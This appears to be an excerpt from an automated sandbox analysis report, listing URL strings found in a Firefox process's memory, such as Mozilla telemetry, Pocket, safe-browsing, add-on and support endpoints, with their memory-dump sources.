Source: firefox.exe, 00000021.00000003.3015206615.00000209F543E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3154219479.00000209F2A70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000003.3015405033.00000209F5460000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3014930010.00000209F541D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000021.00000002.3212917829.00000209FD2F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3086752295.00000209FD2F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000021.00000002.3212917829.00000209FD2F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3086752295.00000209FD2F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000021.00000003.3059991476.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1727000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212917829.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092231194.00000209FD240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3230150203.00000B079E404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 00000021.00000002.3222392437.00000209FD8D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: firefox.exe, 00000021.00000002.3212917829.00000209FD2F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3086752295.00000209FD2F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD507000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3145566009.00000209F0DAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.3155566727.00000209F32AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000021.00000002.3212080999.00000209FD189000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000021.00000003.3059991476.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212917829.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092231194.00000209FD240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 00000021.00000002.3217545814.00000209FD603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212917829.00000209FD228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000021.00000003.3103409848.00000209F6E35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3187443468.00000209F6E28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema.
Source: firefox.exe, 00000021.00000003.3103409848.00000209F6E35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3187443468.00000209F6E28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema./
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema#getTranslationsWasmRemoteClient/
Source: firefox.exe, 00000021.00000003.3103409848.00000209F6E35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3187443468.00000209F6E28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/
Source: firefox.exe, 00000021.00000003.3103409848.00000209F6E35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3187443468.00000209F6E28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/=
Source: firefox.exe, 00000021.00000002.3217545814.00000209FD603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000021.00000002.3217545814.00000209FD603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000021.00000002.3217545814.00000209FD603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000021.00000002.3173030335.00000209F6096000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3177450546.00000209F6603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3071275818.00000209F6A2F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3181191549.00000209F6A27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000021.00000002.3206895801.00000209F8D60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3230684822.00001E4A8211C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000021.00000002.3206895801.00000209F8D60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 00000021.00000002.3149219844.00000209F16BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3165810332.00000209F5565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3153981888.00000209F2821000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3165810332.00000209F5565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3148604180.00000209F137D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3165810332.00000209F5565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3148604180.00000209F137D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000021.00000002.3139500286.00000209E55D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.3180233244.00000209F69EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3187443468.00000209F6E28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 00000021.00000002.3149219844.00000209F16B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F3990000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3155566727.00000209F323C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3165810332.00000209F5565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3165810332.00000209F5565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3148604180.00000209F137D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1727000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://probeinfo.telemetry.mozilla.org/glean/repositories.
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000021.00000002.3158948654.00000209F3990000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 00000021.00000003.3092231194.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 00000021.00000002.3212080999.00000209FD15B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2&
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 00000021.00000002.3212080999.00000209FD15B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 00000021.00000002.3212080999.00000209FD15B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 00000021.00000002.3149219844.00000209F16B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F3990000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3155566727.00000209F323C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3155566727.00000209F32F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000021.00000003.3015405033.00000209F5460000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3166315507.00000209F5603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3014930010.00000209F541D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 00000021.00000002.3184901033.00000209F6DBB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3181191549.00000209F6A27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000021.00000002.3222392437.00000209FD8B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3222392437.00000209FD88C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000021.00000002.3164594918.00000209F5316000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000021.00000002.3164594918.00000209F5316000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD5DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD507000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212917829.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092231194.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3225302939.00000209FF80B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000021.00000002.3212917829.00000209FD2C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212917829.00000209FD2E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3088069984.00000209FD2CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3056291144.00000209FD2E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3056291144.00000209FD2CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3087217491.00000209FD2E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD507000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD507000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 00000021.00000002.3212080999.00000209FD189000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3059991476.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212917829.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092231194.00000209FD240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000021.00000002.3173030335.00000209F6051000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000021.00000002.3173030335.00000209F6051000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F09000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F0C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3195369881.00000209F777A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3173030335.00000209F602E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F3990000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3155566727.00000209F323C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3155566727.00000209F32F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3191099113.00000209F7537000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
